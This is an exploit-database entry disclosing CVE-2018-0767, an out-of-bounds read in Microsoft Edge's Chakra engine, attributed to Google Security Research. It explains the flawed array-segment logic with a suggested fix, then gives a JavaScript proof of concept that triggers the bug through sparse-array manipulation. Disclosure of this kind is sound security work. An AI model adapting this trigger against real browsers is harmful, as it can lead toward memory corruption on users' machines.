Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read



EKU-ID: 7252 CVE: 2018-0767 OSVDB-ID:
Author: Google Security Research Published: 2018-01-12 Verified: Verified
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/*
Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl.
 
growby = endSeg->length;
current = current->GrowByMin(recycler, growby);
CopyArray(current->elements + endIndex + 1, endSeg->length,
    ((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length);
LinkSegments((Js::SparseArraySegment<T>*)startPrev, current);
if (HasNoMissingValues())
{
    if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
    {
        SetHasNoMissingValues(false);
    }
}
 
In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method.
I guess it shoud be like:
if (current == head && HasNoMissingValues())
{
    if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
    {
        SetHasNoMissingValues(false);
    }
}
*/
 
function trigger() {
    let arr = [1.1];
    let i = 0;
    for (; i < 1000; i += 0.5) {
        arr[i + 0x7777] = 2.0;
    }
 
    arr[1001] = 35480.0;
 
    for (; i < 0x7777; i++) {
        arr[i] = 1234.3;
    }
}
 
for (let i = 0; i < 100; i++) {
    trigger();
}